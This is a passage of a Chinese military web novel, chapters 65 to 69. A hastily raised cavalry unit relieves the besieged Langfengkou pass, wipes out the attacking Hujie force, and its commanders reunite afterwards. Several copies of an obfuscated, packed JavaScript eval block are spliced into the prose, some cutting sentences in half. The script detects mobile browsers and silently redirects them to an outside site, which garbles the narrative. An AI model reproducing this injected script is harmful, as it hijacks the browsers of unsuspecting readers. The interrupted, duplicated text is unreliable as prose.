身后那名看着木杆的壮汉大声回吼道:“校尉在哪旗在哪,人在旗在,人死旗不倒! “很好!凌川点了点头,随即猛然拔高声音,大吼道:“所有人提速,杀! 狼烽口下,霍元青正在发起最后的冲锋,尽管这一战让他损失惨重,但他心里很清楚,狼烽口已经只剩下最后一口气,只要再冲一次,必能将其拿下。 就在此时,一匹快马飞奔到跟前,紧接着一名传信兵连爬带滚地朝着他跑来。 “将军,不好了,敌军偷袭大营! 霍元青神色一变,怒喝道:“大胆,竟敢在此扰乱军心,我斩了你! “将军,属下所言句句属实!那名传信兵满脸惊慌。 霍元青将信将疑,下意识转身一看,只见远处天空一片通红,正是大营的方向。 他顿时目眦欲裂,只感觉脑袋嗡的一声响,大声问道:“哪儿来的敌军?多少人?打什么旗? “属下也不知道啊,对方忽然自黑暗中杀出,约莫在千人左右,挂一面白幡…… “杀…… 就在这时,一片震天大吼自后方传来,声如浪潮滚滚。 “传令,后 军变前军,列阵御敌!”霍元青连忙下令,让骑兵列阵御敌。 原本,在听到对方只有一千人的时候,他暗自松了一口气,毕竟,自己这整整一千骑兵基本还没投入战斗,一直处于满血状态。 而且,这一千骑可都是身经百战的老卒,战力极其彪悍,兵力相当的情况下,他有绝对信心能将那一千骑援军吃下。 然而,他才刚下令,喊杀声便已经出现在后方,不足三里的距离。 沉重的马蹄声让大地颤抖,借助远处的火光,众人隐约可见对方铁甲之上闪烁的寒光,以及那块高高举起的白幡,和那个用鲜**写的硕大‘死’字。 霍元青没想到,对方竟来得这么快,这一刻,他眼神之中终于浮现出一丝慌乱。 “快列阵!” 霍元青大声催促道,由于狼烽口外的地形狭窄,这片开阔地容纳两三千兵力已经是极限,想要变阵更是显得十分拥挤。 “呜呜……” 号角声再次响起,只不过,这一次并非是进攻的号角,而是迎敌的号角。 忽然,一只铁箭破空而来,直接洞穿了号兵的眉心,号角声戛然而止。 紧接着又是几道破空声传来,三名令旗手几乎是同时被射杀。 “保护将军!”身旁的亲兵见状,迅速上前挡在霍元青跟前。 沉重的马蹄声宛如战鼓擂动,不过片刻功夫,对方已杀至两百步之外。 震天喊杀声中,那支队伍也越来越近,尽管他们的阵型并不整齐,但,那股磅礴战意,却让一众胡羯精兵为之胆寒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947980|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 城墙之上,陈暻垚也看到了一马当先冲在最前方的凌川。 “我就知道,我就知道你行的!”他或许并没有意识到,自己的声音在剧烈颤抖。 “是标长,他真的带援军来了!”余生指着城外大声喊道。 城墙上,许多士兵都看到了凌川,就连不少百姓都认出了他,只因那道冲在最前方的身影太过于扎眼。 “援军来了,狼烽口守住了!”许多人激动大喊道。 许多人都知道凌川三日前去往漠北大营求援,可一直到狼烽口即将被攻破之际,也不见援军的影子,大家心里都明白,没有援军了。 事实上,他们并不怪凌川,毕竟,要是节度府真要发兵救援的话,援军早就到了。 可谁也没想到,在所有人就要绝望的时候,凌川带着援军赶到了。 只不过,他是从关外杀来的。 城墙的另一端,苏璃喜极而泣,自凌川离开后,她无时无刻不在提心吊胆,茶饭不思,夜不能寐。 她知道,凌川此去求援必然是危险重重,那章参军定会趁机刁难,甚至有可能直接对他不利。 一直到狼烽口即将被攻破,凌川依然没有回来,这让她内心更加担忧,不过她依然牢记彼此的约定,自己会在狼烽口等他。 城外,一千骑已经来到五十步开外,十名标长也果断变阵,呈锥形散开,之前各标便将队伍进行了整编,个表表彰带领队伍中的老卒位于第一排。 毕竟,没有上过战场的人,无论多勇猛,在冲阵之时,难免会心生恐惧。 而骑兵交锋,最重要的便是一鼓作气凿开对方的阵型,若能成功做到这一点,基本就赢了一半。 “不畏死者,可求生!”凌川缓缓提起手中**,大声吼道。 “杀!”十名标长,齐声大喝。 “杀,杀,杀……”一千人跟着提起手中**,怒吼声如惊雷炸响。 紧接着,便看到那支骑兵宛如一把巨剑,直接刺进胡羯的骑兵阵营之中,而凌川便是最锋利的剑尖。 第65章 一鼓作气势如虎! “嗤…… 只见他手中**猛然刺出,直接将正前方那名胡羯骑兵的胸口洞穿,并且一直挑着他飞离了马背。 “嗤嗤嗤…… 铁**穿身体的声音接连传来,不断有胡羯骑兵被刺穿身体,跌**背。 怒吼声、喊杀声、惨叫声、马嘶声混成一片。 还没列好阵型的胡羯骑兵面对死字营的冲锋凿阵,根本抵挡不住,本就不牢固的阵型,当场被撕开一道口子。 事实上,若是双方拉开阵型厮杀,死字营胜算不超过三成,毕竟,他们只是一支临时拉起来的队伍,其中有半数人都没当过兵。 更何况,长途奔袭早已是人困马乏,这种情况下,对上身经百战的胡羯骑兵,他们只有被**的份。 所以,凌川一开始就明白,自己只有一次机会,那就是趁着对方列好阵型之前,将其彻底打散。 凌川身先士卒,手中**不断刺出,不求一击毙命,但必须将对方的阵型撕开。 身后,身形高大的大牛死死抱着那根木杆,他一直牢记着凌川的话,全程紧跟在凌川身后。 聂星寒手持铁胎弓,不断弯弓搭箭,每一支铁箭射出,便能精准干掉一名敌人。 而且,他射杀的并非普通骑兵,而且令旗兵或是标长什长之类的重要人物。 十名标长分至两侧充当‘矢锋’,随着凿阵不断深入,矢锋也逐渐拉开,以此对敌军阵型造成更大的创伤。 此前,凌川给前排所有人的命令是,每次只出一枪,无论是否得手,都不许补枪,必须始终保持阵型,不然,一旦阵型出现漏洞,便有可能被敌人从中截断,至此功亏一篑不说,还会导致己方彻底身陷敌军阵营之中,后果不堪设想。 事实证明,凌川的这套战术极其有效,前排只负责凿开敌军阵型,只要对方阵型一乱,便再也难以组织反击。 至于他们一路杀过来,那些敌军就算不死,跌**背后,也将被马蹄踩成肉泥。 骑兵交锋,双方死于马蹄之下的士兵数量,通常都要超过正面厮杀的伤亡数量。 “不要乱,给我稳住! 霍元青大声吼道,想以此号令麾下骑兵,重组阵型反击。 然而,此时的他,却只能眼睁睁看着对方一路势如破竹,将己方骑兵阵型撕碎,原本身经百战的草原骑兵,在这一刻成了待宰羔羊。 哪怕他喊到喉咙嘶哑、嗓子破裂都无济于事。 此时的他,再也做不到从容不迫地发号施令,只 能眼睁睁看着自己带来的精锐被无情**。 凌川一马当先,手中**不断刺出,收回,刺出,收回…… 忽然,他一**空,这才意识到,自己已经杀穿了敌军的阵营。 但他没有停下,而是继续往前冲,一直冲到城墙下,才调转方向,兜了一个圈子,继续杀了回去。 毕竟,这个地方太小了,他必须给后军留出足够的空间,以此确保己方阵型不乱。 “杀……” 一千骑再次杀回,只不过,这一次阵型已经悄然发生变化,不再是楔形阵,而是列成整齐的方阵。 凌川依旧位于第一排正中间,十名标长和近百名什长一字排开,宛如一股黑色浪潮,朝着前方碾压过去。 第一次冲锋使用楔形阵,其目的是将对方阵型撕裂、凿穿,现在目的已经达到,对方阵型已经瓦解,这个时候再继续用楔形阵,作用就不大了。 但,如果使用方阵,便是全方位碾压过去,将对方阵型彻底打散。 当然,方阵对于整支队伍的综合实力也是一种考验,如果第一排全部倒下,那么第二排就得继续充当锋线,若第二排的综合实力不够,那方阵将会迅速瓦解。 好在,现在胡羯骑兵的阵营已经被打乱,无法形成有效攻势。 眨眼之间,骑兵方阵宛如浪潮一样席卷而来,如果细看的话会发现,方阵的锋线并不整齐,所有人出枪的节奏也并不一致。 奈何,如今的胡羯骑兵阵型已经被打乱,面对来势汹汹的死字营,所有人的脸上都露出恐惧之色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947981|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗤嗤嗤……” 一杆杆**宛如死神的獠牙,无情刺穿胡羯骑兵的身体。 “不许退,给我顶住!” 霍元青还在做最后的努力,试图扭转战局,“督战队压上去,谁敢后退,力斩不饶!” 然而,一切的努力都是徒劳,方阵的推进速度虽不如楔形阵那么快,但给他们带来的杀伤力却是极其恐怖的,堪称是全面压制。 之前那一次冲锋,虽说杀穿了敌军阵型,但真正杀敌数量才不到两百人,但,这一次,不过片刻间,便有四五百胡羯骑兵惨死当场。 聂星寒宛如不知疲倦一般,不断弯弓搭箭,一支支铁箭无情收割胡羯骑兵的生命。 城墙之上,陈暻垚居高临下纵观全局,以他的眼力,自然能看出这支队伍的问题所在,尽管位于第一排的士兵异常勇猛,可方阵后方的成员却是参差不齐,甚至很多人就像是第一次上战场的新兵蛋子。 就像是一把玄铁打造的枪头,枪杆却是一截朽木。 不过,凌川巧妙布局,将这一短板有效隐藏起来。 一众守军目光炽热,虽然现在战斗还没结束,但他们却看出,凌川带来的这支骑兵处于绝对上风。 相比起其他人的激动与狂热,苏璃的眼神中却是满满的担忧,双眸紧盯着那面白幡,准确说是盯着白幡前面那道熟悉身影。 尽管处在第一梯队的皆是曾经的军中悍卒,不少人更是标长乃至校尉,可六百里奔袭外加连番冲杀,已经让他们疲惫不堪。 所有人都感觉双臂麻木,不少人更是受伤流血,但却没有丝毫停顿,跟着那杆白幡,拼命往前冲。 他们心中憋着一口气,若是泄掉这口气,估计很多人连站都站不稳。 “坚持,只要打赢这一战,就可以解除奴籍!”这是所有死字营成员内心的声音。 终于,他们再次杀穿了敌军阵营,这一次,方阵呈碾压之势,斩杀敌军近六百骑。 然而,战斗还没有结束,凌川带着队伍再次兜了一圈,再一次做好了冲锋的准备。 第66章 扭转战局! 霍元青面如死灰事实上刚才对方第二次冲锋的时候他就知道自己输了。 正所谓兵败如山倒对方一鼓作气打乱了自己的阵型紧接着便是连番碾压哪怕自己带来的一千骑皆为精锐依旧挡不住。 “将军咱们快撤吧不然就走不掉了!”秃满来到霍元青身边满脸焦急地说道。 霍元青神色黯然眼神之中一片灰暗于他而言输的不仅仅是这一战而是所有的前途。 此次他可是立下了军令状为了配合自己主帅拓跋桀更是调动近十万兵力配合自己。 两千精兵外加一千精骑竟然没能拿下小小狼烽口。 先不说自己以后的前途就这次回去都将面临难以想象的惩罚。 “将军咱们撤吧留得青山在不愁没柴烧!”亲兵校尉也用恳求的语气说道。 霍元青抬起头用极度不甘的目光扫了一眼破败不堪的狼烽口只差一步自己只差一步就将其攻破了可这一步注定成为他此生最大的遗憾。 “撤吧!”霍元青的声音沙哑无力。 “保护将军撤退!”亲兵校尉果断下令让一众亲兵护着霍元青撤离。 秃满手持双刀与那名亲兵校尉一左一右将霍元青护在中间一众亲兵则是前面开路。 可就在此时凌川再次带领死字营成员发起了第三次冲锋。 这一次阵型再次变化方阵两侧迅速散开宛如两只翅膀将狼烽口外的峡谷彻底堵死。 无论是那剩余的几百骑兵还是那些从城墙跟前撤回来的残余步卒以及正欲撤退的霍元青亲兵队都尽数被堵在城外这片开阔地。 “亲兵听令给我杀出去!”亲兵校尉冷声喝道。 看着那支百余人的队伍朝着这边冲来凌川大喊一声:“弃枪!” 话音刚落他直接举起手中**朝着霍元青的亲兵营掷去只见**在空中划过一道弧线 秃满冷喝一声手中战刀猛然斩出将那**震飞。 可就在此时前方传来密集的破空声只见那支千人队伍同时掷出手中**密密麻麻的**宛如一支支巨型箭镞将他们笼罩。 “盾!” 随着亲兵营校尉大喝一声数十面盾牌迅速立了起来宛如一面铁墙。 然而这些飞射而来的铁枪锋利无比就算是这些盾牌也无法能全部挡住。 霎时间不少盾牌直接被穿透盾牌后的亲兵也惨 死当场,就算那些盾牌挡住了铁枪,可巨大的冲击力也让这盾阵四分五裂。 雨点一般密集的铁枪飞射而下,百余名亲兵死伤过半。 “拔刀!” 就在此刻,凌川的声音再次响起,所有人迅速拔出腰间的战刀。 “唰唰唰……” “杀!” 凌川再次率军冲了出去,手中战刀猛然斩下,将一名胡羯士兵当场枭首,鲜血如喷泉一般涌出。 他之所以让大家弃掉**,是因为两次冲锋下来,所有人的体能都消耗得非常严重,很多人双臂都在剧烈颤抖,甚至连提枪的力气都没有。 与其如此,还不够果断舍弃**,用战刀杀敌。 “杀光他们,一个不留!”唐岿然大喝道。 之前,两天两夜的攻城战中,两千步卒已经耗掉了十之七八,凌川这两次冲锋,更是将其剩下的一千精骑杀得所剩无几,刚才这一轮**投掷出去,又有一百多胡羯士兵被钉死。 如今,霍元青的三千精兵,还剩下不到五百残兵败将。 面对死字营发起的第三次冲锋,这五百人早已吓破了胆,很多人直接跪地投降,也有人丢掉兵器逃命,可退路已经被封死,他们又能往哪里逃? 凌川手持战刀,策马杀向霍元青,聂星寒与唐岿然带领的一支沙场老卒紧随其后。 “咻……” 一支铁箭飞出,直奔霍元青而去,一名亲兵见状,直接拿起盾牌挡在其跟前。 “噗……” 盾牌直接被铁箭洞穿,紧接着,那名亲兵也缓缓倒下,原来,那支铁箭不仅洞穿了盾牌,还穿透了他的咽喉。 “杀!”凌川大喝一声,手中战刀再次斩出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947982|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一名亲兵挥动弯刀抵挡,结果刚一接触,他手中弯刀直接被斩断。 “嗤……” 冰冷的刀锋将他的脑袋劈成两半,鲜血喷洒而出。 “滚!” 伴随着一声暴吼,身形魁梧的秃满冲了上来,手中双刀宛如两道月华洒出,将两名死字营成员拦腰斩断。 “休要猖狂,我来斩你!” 唐岿然大喝一声,直接冲了上去,手中战刀携带着无尽杀意,斩向秃满。 “当……” 伴随一道金铁交鸣声,唐岿然手中战刀直接断开,秃满虽然用双刀挡下了这一击,可恐怖的力道却将其震得连连后退。 唐岿然使用的乃是制式战刀,自然无法与秃满的双刀相比,全力一斩,竟然直接断开了。 眼见秃满就要冲上来,唐岿然顺手拔出一杆钉在地上的**迎了上去。 只见枪锋一抖,一记残星点月枪尖抖出道道寒芒,锁定秃满周身要害。 秃满双刀齐出,将这一番攻击挡住,但自身却连退数步。 忽然,唐岿然身上的气势陡然一变,一股霸道之气如潮水般涌出,枪法也随之变得大开大合。 “断岳回风!” 唐岿然一声大喝,只见他手中枪锋一转,抡动**横扫而出。 “当!” 秃满架起双刀抵挡,可这霸道绝伦的一击,震得他**滑行,最终摔倒在地,双手不住颤抖,手中双刀都险些脱手掉落。 唐岿然欺身而上,与秃满展开激烈搏杀。 此时的秃满只有招架之力,毫无还手之功,被唐岿然一杆**死死压制。 十余个回合下来,秃满嘴角溢出一丝血迹,身上的铠甲更是碎裂了好几处,有的是被枪身砸碎的,有的则是被枪锋刺穿挥着挑开的,不少地方都在渗血。 秃满的内心震惊到了极点,本以为这次狼烽口之战,根本就没有值得自己与孛罗出手的强者。 然而,孛罗的尸首留在了城墙上,眼下,自己更是被这一杆**压制得喘不过气来。 第67章 一战全歼! 秃满在脑海中快速翻找然而将大周北系军将领中使枪的高手全部梳理了一遍硬是没有找到这样一号人物。 凌川眼神中同样是写满了震惊唐岿然作为苏大将军的亲兵校尉 其实不仅是凌川城墙之上的陈暻垚目光之中也露出一丝异色。 尽管相隔太远他看不清对方的长相但霸道绝伦的枪法却让他有一丝熟悉感。 就在此时唐岿然中平枪如电吐信使出一记青龙饮血直取对方胸口。 秃满大惊连忙侧身躲避奈何这一枪的速度是在太快尽管他避开了要害但还是被一枪贯穿肩胛。 唐岿然单臂发力竟然直接将秃满那魁梧的身躯给挑了起来。 秃满无比惊恐一股死亡的气息笼罩全身他用尽全身力气一刀将枪杆斩断本以为能以此脱险。 然而唐岿然猛然一步跨出半截枪杆如**出洞自秃满颌下贯入一朵血莲绽放开来! “噗……” 秃满目光一滞手中双刀落地彻底气绝。 另一边霍元青的亲兵校尉率一众亲兵要杀出重围却被洛青云带人死死挡住。 洛青云曾为禁军校尉实力自然不差要知道但凡能选入禁军的要么是武力过人翘楚要么是从各大边军中选出的百战之卒。 一番激烈厮杀下来霍元青手下的亲兵死伤惨重还剩下二十余人在苦苦支撑。 但不得不说他的亲兵实力相当过硬特别是那名亲兵校尉更是十分悍勇与洛青云捉对厮杀数十回合却丝毫不落下风。 此时那一众亲兵用尸体铺路眼看就要杀出重围。 忽然那亲兵校尉大喝一声:“拖住他们我带将军走!” 顿时两名亲兵赶了过来帮他挡住洛青云至于那名亲兵校尉则是带着霍元青杀了出去各自骑上一匹战马就要逃走。 “咻!” 就在此时一道破空声传来只见聂星寒三指扣弰铁箭呼啸如鬼泣一箭射向霍元青的后背。 “将军小心!” 亲兵校尉惊呼一声只见他猛然一提缰绳战马昂首跃起挡住了那一箭。 “噗……” 铁箭穿过战马的身体那战马嘶鸣一声倒地亲兵校尉也摔倒在地刚一起身两把冰冷战刀便架在了他的脖子上。 这名亲兵校尉自知脱 身无望,他只是看了一眼霍元青逃走的方向,随即用自己的战刀刺向胸口。 见霍元青要逃,聂星寒就要策马去追,却被凌川制止。 “别追了,先解决战斗!” 连夜奔袭六百里,又经历这一番激战,很多人早已累得虚脱,而且,对于凌川而言,霍元青已不足为虑。 他未能拿下狼烽口,就算捡条命回去,下场也好不到哪里去。 不消片刻,打斗声彻底消停,霍元青留下来断后的那二十余名亲兵全部被斩杀。 “胜了,我们胜了!” 狼烽口城墙上传来激动的嘶吼声。 “狼烽口守住了,太好了!” 一众守军欢呼大喊,那些老百姓更是激动得喜极而泣。 陈暻垚眼眶湿润,内心的激动无以言表,他没想到凌川真的带来了援军,不仅守住了狼烽口,更是将敌军全歼于城下。 劫后余生之下,不少人都流下了热泪,并非是他们怕死,事实上,陈暻垚与所有守军都做好了与狼烽口共存亡的准备。 城下,所有死字营成员也跟着大声欢呼。 “胜了,我们胜利了!” 喊着喊着很多人都哭了出来,不仅仅是胜利之后的喜极而泣,还有解除奴籍的激动。 没有人比他们更清楚,这些年在死字营中过的是什么日子,挨冻受饿、辛苦劳作也就罢了,主要是身为奴籍的他们根本看不到希望。 本以为,这一生注定就这样了,说不定哪天就累死饿死,亦或是战争爆发之后,被派上战场充当炮灰。 然而,凌川却带着他们硬生生挣脱了奴隶的枷锁,从今往后,堂堂正正做人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947983|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 随着战斗结束,大家紧绷的神经一下子松懈了下来,无尽的疲惫感如潮水般涌来,不少人更是顾不得地上的淤泥,直接一屁股坐了下去,甚至很多人躺在被踩成黑泥的淤雪中大口喘息。 当朝阳的第一缕曙光洒落大地。 历经战火洗礼的狼烽口,彻底化为一片废墟。 斑驳的城墙摇摇欲坠,似乎随时都会倒塌,城楼已经化为瓦砾,尽管尸体已经被清理走,但随处可见的斑斑血迹,无不在诉说着这场战斗的惨烈。 城内营房也尽数粉碎在飞石之下,瓮城之中堆满了飞石,城门也被撞碎。 城外更是斫颅盈野、残甲遍地。 三千胡羯士兵的尸体横七竖八倒在地上,很多已经被战马踩碎,尸骨无存,一些甲胄看起来鼓鼓囊囊,实际上,那就是一具被踩踏无数次的尸体。 箭矢满地皆是,滚石檑木堆积如山,断裂的战刀、染血的**、碎裂的云梯还有散架的攻城车,都在诉说着这场生死之战的惨烈。 一个时辰之后,陈暻垚带人疏通了甬道中的石头,凌川带着死字营成员进入狼烽口。 “我就知道,你一定会来的!”陈暻垚一拳锤在凌川的肩膀上,笑着说道。 凌川也感慨道:“还好我赶到了!” 随着死字营成员进城,城内的守军和老百姓都在高呼凌川的名字。 陈暻垚没有丝毫嫉妒,只有由衷的高兴。 “把战马杀了,给兄弟们做饭!”陈暻垚吩咐道。 凌川闻言,顿时眉头一皱,问道:“军粮还没到吗?” 陈暻垚摇了摇头,说道:“昨晚就已经是颗粒不剩了,本想让兄弟们吃顿饱饭然后一起上路!” “不应该啊,我出发之前,押运粮草的队伍就已经从飞龙城出发了,怎么可能现在还没到呢?” “会不会又是章参军暗中阻挠?”陈暻垚问道。 凌川摇头道:“这一次是叶世珍亲自派的人,他应该插不了手!” 第68章 响马劫粮! 就在这时,一支陌生队伍推着粮草来到营地,见到一片狼藉的狼烽口,众人先是一阵震惊,领头之人快步跑到陈暻垚跟前。 “陈校尉,我是节度府运粮官郑远,第一批军粮已经到了!” 凌川注意到,此人满身泥土,手臂衣服上还有未凝的血迹,这让他察觉到了异常。 “三日前叶先生便已经派你们出发,为何粮草现在才到?”凌川强压着内心的怒火问道。 那位运粮官也从凌川的话中猜出了他的身份,连忙说道:“二位大人恕罪,我等在途中遭遇了响马,运粮的马车全部被毁了,还死伤了不少兄弟,只能靠人力先扛一些来应急,这才耽误了时间。” 凌川与陈暻垚对视了一眼,皆从对方的眼神中看到了一丝不同寻常。 北疆早期确实有响马出没,但,这些马贼从不敢挑衅边军,更别说是劫军粮这种事情了。 而且,近些年,边军多次剿匪,那些响马要么被剿灭,要么闻风而逃,去其他地方讨生活了。 “辛苦了!”陈暻垚拍了拍他的肩膀,感激道。 “校尉大人言重了,相比起你们与敌人厮杀,我们这点苦算得了什么。”运粮官眼神中带着深深愧疚,说道:“我得带人赶回去把剩下的粮草运过来!” 陈暻垚一把拉住了他,说道:“耿良,带一批兄弟去帮忙运粮!” “校尉大人,你们刚打完仗都还没休息一下,让我召集一些乡亲去帮忙运粮吧!” 就在这时,一名中年汉子站了出来,对陈暻垚说道。 “上阵杀敌我们不行,但运粮我们还是没问题的!” “是啊,校尉大人你就让大家休息一下吧,你们太累了,而且很多人都还带着伤!”一位大娘也上前劝阻道。 陈暻垚十分感动,对众人抱拳道:“那就多谢乡亲们了!” 随即,陈暻垚下令生火做饭,凌川则是让人打扫战场和搭建营帐。 很快,废墟一般的战场便被清理出一片空地,一座座营帐也被搭建起来,不过,那一团团血迹依旧是无比刺眼。 至于修补城墙和重建城门,并不是一时半会能完成的,眼下所有人都疲惫至极,亟待修整。 “开饭咯!” 浓浓的饭香让所有人直流口水,一锅锅热腾腾的米饭,让人双眼放光。 素菜是老百姓家家户户送来的,煮了满满几大锅。 吃过饭之后,除了留下一部分人轮流巡守,其他人全部入帐休息,不消片刻,一座座营帐中 便鼾声如雷。 凌川托着疲惫的身躯回到家,刚推开门,一道倩影便飞奔而来,直接扑进怀里。 “相公!”苏璃哽咽道。 凌川也感觉鼻子一酸,轻拍她的后背说道:“别哭,我这不是回来了吗?” “你担心死我了!”苏璃满脸泪水,忽然她感觉手上黏糊糊的,抬起一看,竟然是血迹:“血,相公你伤哪儿了,快让我看看!” 见苏璃满脸惊慌,凌川拉着她的手说道:“我没事,这些都是敌人的血!” 听到是敌人的血,苏璃顿时舒了一口气,她没有半点嫌弃,而是主动帮凌川卸甲,铠甲之上很多地方铠甲和鲜血混在一起,已经凝固了。 “相公肯定饿坏了吧,我给你做好了饭!” 就在这时,小北走到了凌川身边,问道:“叔叔,你杀了多少个胡贼?” “叔叔也记不得了!”凌川露出和蔼的笑容,问道:“你跟婶婶在家,有没有害怕啊?” 小北用力点了点头,说道:“小北不怕!” “小北可勇敢了,这两日我去救助伤员,小北全程帮我打下手呢!”苏璃夸赞道。 凌川顿感诧异,摸了摸小北的头,说道:“小北真棒!” 很快,饭菜上桌,刚才凌川在营中确实没吃饱,再加上这几日都是干粮就雪,如今能吃上一口热饭简直就是天大的享受。 吃过饭之后,苏璃给他烧了一大锅热水,凌川坐了进去,苏璃细心为他清洗身上的血迹,特别是头发上,汗水和鲜血混杂在一起,都结成血痂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947984|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 洗完澡,凌川躺在床上便沉沉睡去,而苏璃又帮他把铠甲上的血迹清洗干净。 抚摸着那冰冷的甲片,苏璃不由想起小时候,父亲出征归来,自己和母亲去城外接她,父亲一把将自己抱了起来,哪怕隔着冰冷的铁甲,也能感受到父亲身上的温暖。 凌川一觉醒来,发现苏璃正在火炉跟前给自己补衣服,见他醒来,苏璃连忙放下手中的针线。 “相公,你醒了?” “我睡了多久?”凌川揉了揉昏昏沉沉的脑袋,问道。 “现在午时刚过,相公都睡了一天一夜了!”苏璃笑道。 凌川翻身起床,只感觉一阵晕眩,苏璃连忙扶着他,“相公你没事吧?” “没事,睡太久了,有些晕!” 凌川穿上衣服,吃过午饭之后,便出门来到营中。 此时,士兵们也陆续醒来,凌川碰到了耿良,问道:“校尉大人呢?” “他去城墙上了!”耿良手臂裹着纱布,依稀可见渗出的血迹。 凌川点了点头,随即也朝着城墙走去。 陈暻垚站在千疮百孔的城墙上,遥望关外雪原,怆然独立。 凌川缓步走上前去,与之并肩而立,问道:“这么早就醒了?” 陈暻垚没有回头,依旧看着关外雪原,淡淡说道:“睡不着,闭上眼睛就是喊杀声,做梦都是兄弟们倒在血泊中的惨烈场景……” 凌川轻叹了一口气,他能想象当时的战斗有多惨烈,两日三夜的鏖战,换谁都会精神崩溃。 “这一战,折了多少弟兄?”凌川沉声问道。 “刚刚才统计出来,战死二百一十三人,八十六人终身残疾,五十四人失去战力,剩下的一百六十多人个个带伤!”陈暻垚的声音在颤抖。 于他而言,这些冰冷的数字背后,是一条条鲜活的生命,是曾经生死与共的兄弟,然而,他们却死在了这一战中。 战争的残酷,不仅仅是沙场的血与骨,对于活下来的人来说,将是心中一辈子都抹不去的痛。 第69章 南疆七虎! 五百人死守狼烽口面对胡羯三千精锐的猛攻坚守两天三夜这绝对算得上是奇迹。 好在最终等到了凌川带来的援军。 如果凌川没有带来援军亦或者晚到一时半刻狼烽口都已经沦陷了更别提扭转战局一口气将三千精兵**殆尽。 可无论是陈暻垚还是凌川内心却一点也高兴不起来只因这场胜利是很多兄弟用生命换来的他们再也无法共享这份胜利的喜悦。 “朱骞**与丙标仅剩的二十多人被敌人的铁骑踩成了肉泥只找到一些铠甲残片!”陈暻垚颤声说道。 紧接着他伸手指了指不远处那片被鲜血染红的城墙“熊广**被人用**钉死在那里一直到鲜血流尽!” 陈暻垚双目通红强忍着不让眼泪留下来。 凌川轻拍他的肩膀说道:“战争是开启邪恶的钥匙锁钥既开就注定要**军人、百姓皆是无辜者!” 就在这时唐岿然找了过来抱拳道:“校尉大人胡羯人留在城外的粮草军械我全部带人运回来了!” 凌川笑着点头说道:“我跟陈校尉等你很久了!” 陈暻垚一愣只感觉眼前这汉子有些熟悉直到对方开口喊道:“老七不认识我了?” “三三哥?”陈暻垚一脸的震惊大步冲上前抓着唐岿然的肩膀失声道: “三哥真的是你你还活着太好了!” 前夜陈暻垚在城墙之上看到与秃满激战那名**男子当时就感觉有些熟悉可当时距离太远根本看不清楚。 直到此时见到唐岿然终于有了答案。 其实陈暻垚早该想到的毕竟放眼天下无论是沙场还是江湖唐岿然都绝对是使枪的顶尖高手只是陈暻垚想不到他会出现在北疆。 之前在路上唐岿然曾向凌川打听过陈暻垚本以为他们只是普通的同袍 忽然凌川想起之前苏璃跟自己提到过陈暻垚曾经都是南系军中的后起之秀苏老将军对他们十分器重大力培养。 当时包含陈暻垚在内的七名年轻将领脱颖而出在南疆杀出赫赫威名此后更是在南疆杀出赫赫威名被称为‘南疆七虎’。 若无意外十年之后他们都将成为大周军中的中流砥柱奈何半年之前苏老将军被陷害南系军土崩瓦解南疆七虎中好几人都被牵连也不知除了提前离开南系军的陈暻垚 之外,现如今还有几人活着。 刚才还能强忍着泪水的陈暻垚,在见到昔日兄弟的瞬间,热泪再也止不住地滚落下来。 “三哥,你怎么变成这样了?”陈暻垚看着昔日英姿挺拔的南疆悍将,短短半年,竟然被折磨成这样,心中怒火陡升。 